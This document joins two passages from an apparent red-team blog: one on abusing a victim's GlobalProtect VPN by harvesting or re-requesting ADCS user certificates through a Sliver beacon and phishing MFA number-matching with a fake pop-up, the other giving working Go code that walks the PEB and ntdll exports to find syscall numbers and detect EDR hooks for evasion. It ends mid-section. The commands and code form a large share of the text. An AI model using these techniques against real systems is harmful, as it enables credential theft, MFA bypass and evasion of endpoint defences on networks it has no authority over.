![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FOFJon3Vr74xZnIcsuRx0%252Fimage.png%3Falt%3Dmedia%26token%3D7bea5b93-07f1-4eb8-9429-2dfe13c6c15c&width=768&dpr=4&quality=100&sign=f14e59bd&sv=2) ### [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#cli) CLI The `PanGPA.log` located at `C:\Users\\AppData\Local\Palo Alto Networks\GlobalProtect` is very verbose and includes all the information needed to successfully create a remote connection. [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#user-certificate) User Certificate -------------------------------------------------------------------------------------------------------------------------------------------------------------------- In order to login into the paloalto portal we need a client certificate (this is not always the case). Let's find a few potential targets using shodan. The GlobalProtect Portal Login page ends with "/global-protect/login.esp" so using google dorks or shodan we can identify multiple instances. Let's take a look at the first example: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FizX0UNajoflhgcJYi0hZ%252Fimage.png%3Falt%3Dmedia%26token%3Dac82556a-affd-4ef8-9464-29513bccf0b5&width=768&dpr=4&quality=100&sign=5c68fcf1&sv=2) When a valid certificate is required A message appears at the end of the page informing us that a valid certificate is required. Another page found from shodan doesn't seem to have the same requirement. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FA24esC5zpkAz93OZZ576%252Fimage.png%3Falt%3Dmedia%26token%3D26ba352b-99ec-4610-96c9-82351a3904e2&width=768&dpr=4&quality=100&sign=f1f4bf58&sv=2) No certificate is required ### [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#obtain-the-certificate-from-the-victim) Obtain the certificate from the victim We can obtain the certificate from the host in a number of ways: * Using mmc through the GUI (low-priv user) * Using trustedsec's bofs (low-priv user) * Using mimikatz (requires elevated access) #### [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#obtain-certificates-through-the-gui) Obtain Certificates through the GUI We can quickly access user certificates by searching "Manage user certificates" on our host. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FyvAnoDa2ZNYmR4G98Fhb%252Fimage.png%3Falt%3Dmedia%26token%3D02907d3f-31ad-43ab-ae2a-3cf5e277eb07&width=768&dpr=4&quality=100&sign=18582407&sv=2) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F0JXm0Cimb1iKUFR86zAU%252Fimage.png%3Falt%3Dmedia%26token%3Df0cb5a8b-0913-4bc9-b5b1-a9355ed6a633&width=768&dpr=4&quality=100&sign=519082b5&sv=2) Dave Daves User certificate In this case we need the "Dave Daves" certificate to be exported in order to gain access to the VPN portal. We can export the certificate by right clicking > All Tasks > Export... ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FVgQhFpfH6hwt52Qa0KmH%252Fimage.png%3Falt%3Dmedia%26token%3Dd065bd24-a489-445b-a894-1c42d35d3530&width=768&dpr=4&quality=100&sign=a6d9c511&sv=2) Export Certificate In some cases depending on the ADCS configuration we might face the issue of not being able to export the private key of the certificate. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FH7h5CEEzY7GTDjrcAEfZ%252Fimage.png%3Falt%3Dmedia%26token%3D2feaa6be-d11f-47bb-b576-468975df8f6c&width=768&dpr=4&quality=100&sign=ca2e0100&sv=2) Export private key greyed out. At this point we could use a tool like [mimikatz to extract the private key](https://krestfield.github.io/docs/pki/exporting_a_nonexportable_certificate.html) . That would require patching certain functions in memory and admin privileges. Also executing mimikatz on a mature environment would probably set off a few alarms. Alternatively we could request another certificate from the ADCS server with the export private key property being enabled. That can be done by requesting a new certificate. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FXJmBBV94ui6E7ntwjaLU%252Fimage.png%3Falt%3Dmedia%26token%3D23b10243-d609-4da5-918d-75aa34947e2b&width=768&dpr=4&quality=100&sign=fa46e01f&sv=2) Requesting new certificate After clicking on Request Certificate with New Key the following window pops up: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F23MtZbUoT78FLbERKipy%252Fimage.png%3Falt%3Dmedia%26token%3D0d82cef5-77ca-488a-88e1-3ea9af475bbb&width=768&dpr=4&quality=100&sign=124466b2&sv=2) Request a key with private key being exportable 1. Expand User Certificate details 2. Click On Properties 3. Navigate to the 'Private Key' Tab 4. Under Key Options, select Make private key exportable We now have a second key that we are able to export. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FUjuuiQhsWqEqtcT9SYlg%252Fimage.png%3Falt%3Dmedia%26token%3D46cda011-45aa-4332-a700-b20d85290e0e&width=768&dpr=4&quality=100&sign=97d2794e&sv=2) "Export the private key" enabled In the following steps we will be asked to set up a password for the exported key and define the export directory. On an engagement instead of leaving the key lying around you can delete it once it's downloaded. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FVXllfKIXpoZd5cfhd9sQ%252Fimage.png%3Falt%3Dmedia%26token%3D304d54eb-15ed-44fd-9cd8-d33b9edfd8cf&width=768&dpr=4&quality=100&sign=1394e65b&sv=2) Last step before exporting our key ### [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#obtain-the-certificate-through-the-beacon) Obtain the certificate through the beacon We could use tools such as [Hidden Desktop](https://github.com/sliverarmory/HiddenDesktop) to extract the keys as demonstrated before but it's not always possible. Thankfully the same result can be achieved using beacon object files without any GUI interaction. Two bofs will be used to request the certificate: * [sa-adcs-enum](https://github.com/sliverarmory/CS-Situational-Awareness-BOF/tree/master/src/SA/adcs_enum) (I found this bof more reliable than using sa-adcs-enum-com. sa-adcs-enum-com would cause the sliver beacon to crash. I am not sure if that's the case with Cobalt Strike) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Flyi1GteA3WsiaOJXix7E%252Fimage.png%3Falt%3Dmedia%26token%3D3da2ec8f-e19a-4565-960a-ba74934dddca&width=768&dpr=4&quality=100&sign=703cc8b3&sv=2) sa-adcs-enum (most reliable in my experience) * [remote-adcs-request](https://github.com/sliverarmory/CS-Remote-OPs-BOF/tree/main/Remote/adcs_request) sa-adcs-enum will help us identify all the information needed to create a valid adcs request using remote-adcs-request. **sa-adcs-enum** This bof doesn't really require any arguments. We can just run this bof to enumerate the Certificate Authority and the template name required for the next step. The first few lines will show all the information needed for the CA ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FwggeZQnZhSxPEUO5iG07%252Fimage.png%3Falt%3Dmedia%26token%3D3259a4d4-9034-4047-8921-38adfdd14574&width=768&dpr=4&quality=100&sign=ef51b515&sv=2) Certificate Authority information From the above screenshot we can extract the name of the Certificate Authority `CLAIRE-ALEX-DC-CA` and the domain name is `CLAIRE.local` ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FcTSUg2BnQL9krSPDTLmf%252Fimage.png%3Falt%3Dmedia%26token%3Dbb4e9fe8-ebd6-42c0-8619-f54862c93ba7&width=768&dpr=4&quality=100&sign=d07f0672&sv=2) User Template The `User` template is the one required to authenticate to the VPN portal. Depending on the environment the template might have a different name . **remote-adcs-request** All we need now is to run the following command so the pirvate key and certificate will be dumped. Copy [server] sliver (LIGHT_JOURNEY) > remote-adcs-request 'Claire.local\CLAIRE-ALEX-DC-CA' User ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FICD5I6fpM4wtYLWiAhW0%252Fimage.png%3Falt%3Dmedia%26token%3Dff8e3cfd-713d-459e-88ac-f8e712ea3b39&width=768&dpr=4&quality=100&sign=837890b4&sv=2) Generating the certificate We can then copy the contents of the certificate to a file and convert it to a .pfx file using the following command. Copy openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#additional-considerations-before-connecting-to-the-portal) Additional considerations before connecting to the portal ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ It is common nowadays to come across MFA authentication after logging in. The fact that we have foothold on the target machine we can get the user to authenticate for us. Let's take the [number matching scenario](https://learn.microsoft.com/en-us/azure/active-directory/authentication/how-to-mfa-number-match#multifactor-authentication) demonstrated below: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FacW3Q4GEgabnAe5x6jRW%252Fimage.png%3Falt%3Dmedia%26token%3Da907529a-66d3-4668-a844-820a81e8553c&width=768&dpr=4&quality=100&sign=a548cafc&sv=2) Number matching MFA The user is expected to use the number appearing on his screen, usually in a browser, and type it into their authenticator application. In some cases authenticator will show more information such as the connection location. We might want to match the user's location to avoid adding to the victim's suspicion. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F7e4xY6ru4cEFnFtwbohV%252Fimage.png%3Falt%3Dmedia%26token%3D3ffe39a7-79c7-4e39-b2c1-ce2080a57be6&width=768&dpr=4&quality=100&sign=834bccd9&sv=2) Authenticator with additional context To overcome the MFA a small [c# script](https://github.com/scriptchildie/maliciousCodeMatchingMFA/tree/main) was written. We can run from sliver or cobaltstrike to prompt the user with the number to match. ### [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#attacker) Attacker The user is essentially running the c# executable within the beacon's process. The executable takes 2 arguments, the user's email and the and number to type into their authenticator. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FHeUpVTRM2UkUkvLtjnuz%252Fimage.png%3Falt%3Dmedia%26token%3Da62333a1-2d6f-4986-95e7-c2ad615e70a9&width=768&dpr=4&quality=100&sign=387dd337&sv=2) MFA phishing ### [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#victim) Victim The victim will see the pop up show up on his desktop. We then hope the user will authenticate for us. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fn0LKSCm68zk6DUoYWJZu%252Fimage.png%3Falt%3Dmedia%26token%3D6a712c50-5fe5-4126-a058-0c4afb44e443&width=768&dpr=4&quality=100&sign=180a91cd&sv=2) malicious MFA pop-up In the second part of this blog we will go through the process of connecting to the VPN and possible hardening techniques we can apply on the Firewall to stop attackers from connecting to the VPN from a non corporate laptop. Last updated 2 years ago Was this helpful? --- # 3. Programmatically detect ntdll hooks | Malware Development A very well known and documented way of bypassing userland hooks is to make use of direct and indirect system calls (blog posts will follow for these techniques). In order to perform either technique we need to identify the SSN(System Service Numbers) at runtime or hardcode them in our program. Hardcoding the SSNs has its limitations since they can some times change between Windows updates. So in order to hardcode the SSNs we will need to know exact target system in advance. A better approach is to use [Hell's Gate](https://github.com/am0nsec/HellsGate/blob/master/hells-gate.pdf) (I highly recommend to read this document first). Using this method we will identify the SSNs at runtime without any prior knowledge of the target system. ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks#flowchart-of-the-approach) Flowchart of the approach: With the above in mind, let's dive into the code ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks#get-ntdll.dll-base-address) Get NTDLL.dll base address Walking / Exploring the [PEB (process environment block)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb) is a common method used by shellcoders to dynamically find the location of exported functions. A similar approach will be used to identify the base address of ntdll and subsequently the export functions. To get a pointer to the PEB the following undocumented function was used. #### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks#rtlgetcurrentpeb-ntdll) [RtlGetCurrentPeb (ntdll)](http://pinvoke.net/default.aspx/ntdll/RtlGetCurrentPeb.html) Copy [DllImport("ntdll.dll", SetLastError : true)] def RtlGetCurrentPeb() as IntPtr: pass What it does it essentially returns a pointer to the beginning of the PEB. Thankfully for us this function is implemented in the windows package. Copy peb := windows.RtlGetCurrentPeb() PEB Structure Copy type PEB struct { reserved1 [2]byte BeingDebugged byte BitField byte reserved3 uintptr ImageBaseAddress uintptr Ldr *PEB_LDR_DATA ProcessParameters *RTL_USER_PROCESS_PARAMETERS reserved4 [3]uintptr AtlThunkSListPtr uintptr reserved5 uintptr reserved6 uint32 reserved7 uintptr reserved8 uint32 AtlThunkSListPtr32 uint32 reserved9 [45]uintptr reserved10 [96]byte PostProcessInitRoutine uintptr reserved11 [128]byte reserved12 [1]uintptr SessionId uint32 } To view the PEB Structure in windbg we can use the following command: Copy dt nt!_PEB @$Peb ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FJjGNS5LGkXBMBqwhhjZS%252Fimage.png%3Falt%3Dmedia%26token%3D121f4131-8a8e-4dfe-a9e6-4f2ffa4fd71a&width=768&dpr=4&quality=100&sign=179be2f8&sv=2) PEB Struct in windbg We are particularly interested in the [PEB\_LDR\_DATA](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data) Copy type PEB_LDR_DATA struct { reserved1 [8]byte reserved2 [3]uintptr InMemoryOrderModuleList LIST_ENTRY } To view this struct we simply click on Ldr in windbg that generates the following command: Copy x -r1 ((ntdll!_PEB_LDR_DATA *)0x7ffb0e1143c0) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FZUiaPgXEmSicBiNwtleB%252Fimage.png%3Falt%3Dmedia%26token%3D9a253842-8a2a-46b0-89d5-c884cf0013cd&width=768&dpr=4&quality=100&sign=a6ac8087&sv=2) PEB\_LDR\_DATA in windbg InMemoryOrderModuleList: The head of a doubly-linked list that contains the loaded modules for the process. Each item in the list is a pointer to an LDR\_DATA\_TABLE\_ENTRY structure. Once again to view InMemoryOrderMOduleList we just click on it in windbg. The command is generated for us: Copy dx -r1 (*((ntdll!_LIST_ENTRY *)0x7ffb0e1143e0)) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FOYzQwEuhv1NaX6BtdDAm%252Fimage.png%3Falt%3Dmedia%26token%3D358cff8d-b68a-48db-bc7d-61c20d260647&width=768&dpr=4&quality=100&sign=538d0ed9&sv=2) InMemoryOrderModuleList in windbg The [LDR\_DATA\_TABLE\_ENTRY](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data#remarks) structure is defined as follows: Copy typedef struct _LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2]; PVOID DllBase; PVOID EntryPoint; PVOID Reserved3; UNICODE_STRING FullDllName; BYTE Reserved4[8]; PVOID Reserved5[3]; union { ULONG CheckSum; PVOID Reserved6; }; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; Finally to get tge LDR\_DATA\_TABLE\_ENTRY that holds the name and dllbase we run the following command in windbg Copy dt _LDR_DATA_TABLE_ENTRY (0x1ddbe804af0 -0x10) where 0x1ddbe804af0 is the Flink address from the previous step. \_LDR\_DATA\_TABLE\_ENTRY is at an offset of -0x10 ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FR1zjB3f8BwuREmzcExOR%252Fimage.png%3Falt%3Dmedia%26token%3D8caee2fd-ea25-4aef-86b1-6f9ed537780a&width=768&dpr=4&quality=100&sign=16a93fae&sv=2) LDR\_DATA\_TABLE\_ENTRY in windbg On the screenshot we can see both the module name and base address. To now print the dll address and dll name we run the following commands based on the offsets shown in windbg Copy 0:019> dq 0x1ddbe804af0 -0x10 +0x30 L1 000001dd`be804b10 00007ff6`851d0000 0:019> db poi(0x1ddbe804af0 -0x10 +0x58 + 0x8) 000001dd`be8046de 4e 00 6f 00 74 00 65 00-70 00 61 00 64 00 2e 00 N.o.t.e.p.a.d... 000001dd`be8046ee 65 00 78 00 65 00 00 00-22 00 43 00 3a 00 5c 00 e.x.e...".C.:.\. Now we can find the dll base address and dll name we can loop through using the forward links until we reach an empty dll name. Here is the code in go: Copy // adds all loaded modules and their base addresses in a slice func ListDllFromPEB() []dllstruct { peb := windows.RtlGetCurrentPeb() moduleList := peb.Ldr.InMemoryOrderModuleList a := moduleList.Flink loadedModules := []dllstruct{} for { listentry := uintptr(unsafe.Pointer(a)) // -0x10 beginning of the _LDR_DATA_TABLE_ENTRY_ structure // +0x30 Dllbase address // +0x58 +0x8 address holding the address pointing to base dllname // offsets different for 32-bit processes DllBase := uintptr(listentry) - 0x10 + 0x30 BaseDllName := uintptr(listentry) - 0x10 + 0x58 + 0x8 v := *((*uintptr)(unsafe.Pointer(BaseDllName))) //fmt.Printf("%p\n", (unsafe.Pointer(v))) // prints the address that holds the dll name s := ((*uint16)(unsafe.Pointer(v))) // turn uintptr to *uint16 dllNameStr := windows.UTF16PtrToString(s) if dllNameStr == "" { break } dllbaseaddr := *((*uintptr)(unsafe.Pointer(DllBase))) //fmt.Printf("%p\n", (unsafe.Pointer(dllbaseaddr))) // prints the dll base addr loadedModules = append(loadedModules, dllstruct{ name: dllNameStr, address: dllbaseaddr, exportDirectoryAddress: 0, exportDirectory: IMAGE_EXPORT_DIRECTORY{Characteristics: 0, TimeDateStamp: 0, MajorVersion: 0, MinorVersion: 0, Name: 0, Base: 0, NumberOfFunctions: 0, NumberOfNames: 0, AddressOfFunctions: 0, AddressOfNames: 0, AddressOfNameOrdinals: 0}, exportedNtFunctions: []Exportfunc{}, exportedZwFunctions: []Exportfunc{}, }) a = a.Flink } return loadedModules } We essentially save the name and address of each module into a dllstruct structure and return them all in a slice called loadedModules. This function was created with future applications in mind. In this case since we only care about ntdll.dll we could return only that dllstruct. The following function was created to return the dllstruct needed. It receives the dll name as an argument and returns the struct. Copy func GetStructOfLoadedDll(name string) (dllstruct, error) { modules := ListDllFromPEB() for _, module := range modules { if module.name == name { return module, nil } } return dllstruct{}, fmt.Errorf("dll not Found") } For debugging purposes we can print the table to console just to ensure that the code generates the expected output. Copy func PrintModules() { t := table.NewWriter() fmt.Printf("---------------------------------------------\nLoaded modules in current process\n") t.AppendHeader(table.Row{"#", "DLL Name", "Address"}) for i, module := range ListDllFromPEB() { t.AppendRow(table.Row{i, module.name, fmt.Sprintf("0x%x", module.address)}) } fmt.Println(t.Render()) } ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fc0M4kGUNUMvQKNQDNjJ9%252Fimage.png%3Falt%3Dmedia%26token%3D72b19db8-995e-47cd-86eb-c5114e69d6d0&width=768&dpr=4&quality=100&sign=c962ec49&sv=2) Loaded Module names and addresses We can now cross check using windbg using the "`lm"` command or using ProcessHacker ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FFr88ECEJCR3QyiPn1AYO%252Fimage.png%3Falt%3Dmedia%26token%3D73ecad48-ab5e-40cf-bf4e-2e01c8bce481&width=768&dpr=4&quality=100&sign=260060cc&sv=2) Loaded Modules in Process Hacker We can see that the addresses and names match. All the above could be replaced by the following code ! 😄 What if the LoadDLL function is hooked though ? Copy t, err := windows.LoadDLL(`C:\Windows\System32\ntdll.dll`) if err != nil { return err } h := t.Handle dllBase := uintptr(h) ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks#identify-location-of-image_export_directory) Identify location of IMAGE\_EXPORT\_DIRECTORY Once the base address of the ntdll.dll is identified the next step is to find the location of the image\_export\_directory. Let's have a look at the contents of the struct. Copy type IMAGE_EXPORT_DIRECTORY struct { //offsets Characteristics uint32 // 0x0 TimeDateStamp uint32 // 0x4 MajorVersion uint16 // 0x8 MinorVersion uint16 // 0xa Name uint32 // 0xc Base uint32 // 0x10 NumberOfFunctions uint32 // 0x14 NumberOfNames uint32 // 0x18 AddressOfFunctions uint32 // 0x1c AddressOfNames uint32 // 0x20 AddressOfNameOrdinals uint32 // 0x24 } We are particularly interested in the AddressOfFunctions and AddressOfNames (or AddressOfNameOrdinals). Similarly to the techniques used in [Process Hollowing](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/2.-process-hollowing) we can get the export directory from the Optional Header. * [MS-DOS Stub](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#ms-dos-stub-image-only) : At location 0x3c, the stub has the file offset to the PE signature. * From the offset found at 0x3c we then calculate the size of the different components of PE. * [Signature (Image Only)](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#signature-image-only) : 4-bytes (PE00) * [COFF File Header (Object and Image)](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#coff-file-header-object-and-image) : (2+2+4+4+4+2+2) 20-bytes (0x14) * [Optional Header Standard Fields (Image Only)](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-standard-fields-image-only) : Offset to Export Directory 0x70 The above translated to the code below: Copy func (dll *dllstruct) getExportTableAddress() uintptr { e_lfanew := *((*uint32)(unsafe.Pointer(dll.address + 0x3c))) ntHeader := dll.address + uintptr(e_lfanew) fileHeader := ntHeader + 0x4 // https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_file_header optionalHeader := fileHeader + 0x14 // 0x14 is the size of the image_file_header struct exportDir := optionalHeader + 0x70 // offset to export table exportDirOffset := *((*uint32)(unsafe.Pointer(exportDir))) dll.exportDirectoryAddress = dll.address + uintptr(exportDirOffset) return dll.exportDirectoryAddress } ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks#extract-the-values-from-memory-into-the-struct) Extract the values from memory into the struct func (dll \*dllstruct) GetImageExportDirectory() { Copy dll.exportDirectory.Characteristics = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress))) dll.exportDirectory.TimeDateStamp = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x4))) dll.exportDirectory.MajorVersion = *((*uint16)(unsafe.Pointer(dll.exportDirectoryAddress + 0x8))) dll.exportDirectory.MinorVersion = *((*uint16)(unsafe.Pointer(dll.exportDirectoryAddress + 0xa))) dll.exportDirectory.Name = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0xc))) dll.exportDirectory.Base = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x10))) dll.exportDirectory.NumberOfFunctions = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x14))) dll.exportDirectory.NumberOfNames = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x18))) dll.exportDirectory.AddressOfFunctions = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x1c))) dll.exportDirectory.AddressOfNames = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x20))) dll.exportDirectory.AddressOfNameOrdinals = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x24))) } What this code does is to take the pointers to the memory locations and cast them to Golang types before placing them into the struct ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks#extract-the-exported-function-names-addresses-ssns-syscall-function-address-and-whether-there-are-ho) Extract the exported function names, addresses, SSNs, syscall function address and whether there are hooks installed The next and final step is to get the export function information. A struct was defined with all the required information Copy type Exportfunc struct { funcRVA uint32 // relative address to the base address of the dll functionAddress uintptr // absolute address name string // name of the exported function syscallno uint16 // SSN tramboline uintptr // syscall ;ret; address location isHooked bool // Is the function hooked? } A for loop was used loop through the exported functions #### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks#function-rva-and-name) function RVA and Name Copy funcRVA := *((*uint32)(unsafe.Pointer(dll.address + (uintptr(dll.exportDirectory.AddressOfFunctions) + uintptr((i+1)*0x4))))) nameRVA := *((*uint32)(unsafe.Pointer(dll.address + (uintptr(dll.exportDirectory.AddressOfNames) + uintptr(i*0x4))))) nameAddr := dll.address + uintptr(nameRVA) nameRVAbyte := (*[4]byte)(unsafe.Pointer(nameAddr))[:] name := windows.BytePtrToString(&nameRVAbyte[0]) The above code is used to extract the function relative address and then read then function name bytes from memory and turn it to string #### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks#syscall-tramboline) Syscall Tramboline This value will be useful when we write the code for the indirect system calls. Let's have another look in windbg to identify the byte sequence of a syscall;ret; 